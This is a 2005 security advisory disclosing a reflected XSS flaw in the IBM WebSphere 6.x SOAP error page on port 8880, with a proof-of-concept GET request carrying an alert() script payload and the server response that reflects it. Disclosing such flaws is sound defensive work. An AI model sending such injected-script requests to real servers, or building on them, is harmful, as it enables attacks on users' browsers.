Title: Cross Site Scripting (XSS) Vulnerability in IBM WebSphere
Application Server
ProCheckUp Security Bulletin
Description: IBM WebSphere Application Server is vulnerable to Cross
Site Scripting through a 'faultfactor' tag in the 500 Internal Server
Error page on port 8880 (default SOAP port).
Date found: 2005-02-27
Vulnerable: This has been tested on WebSphere Application Server version
6.x. Other versions may be vulnerable but this has not been verified.
Severity: Medium
Author: Nuri Fattah [nuri.fattah@procheckup.com]
Vendor Status:
CVE Candidate: Not Assigned
Description:
WebSphere Application Server is vulnerable to a Cross Site Scripting
attack through the Internal Server Error page used on port 8880 of the
default WebSphere installation. This may allow the execution of
malicious script code in the browser of an individual who clicks on a
link to a site using the vulnerable version of WebSphere.
Information:
REQUEST:
GET /<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> HTTP/1.1
Host: 192.168.1.195:8880
Connection: close
RESULTS:
HTTP/1.1 500 Internal Server Error
Server: WebSphere Application Server/6.0
Content-Type: text/xml; charset=utf-8
Content-Length: 3013
Connection: close
<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/";
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance";
xmlns:xsd="http://www.w3.org/2001/XMLSchema";>
<SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="6.0.0.1"
ns0:JMXMessageVersion="1.0.0" ns0:JMXVersion="1.2.0">
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<SOAP-ENV:Fault>
[output omitted]
<faultactor>/<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT></faultactor>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Consequences:
An attacker could cause the execution of malicious script code in the
client of an individual who clicks on a link to a site using the
vulnerable version of WebSphere Application Server.
Fix: IBM has released patches to address this issue. They have tracked
this vulnerability as APAR PK16602.
References: http://www.niscc.gov.uk/niscc/docs/re-20061031-00727.pdf?lang=en
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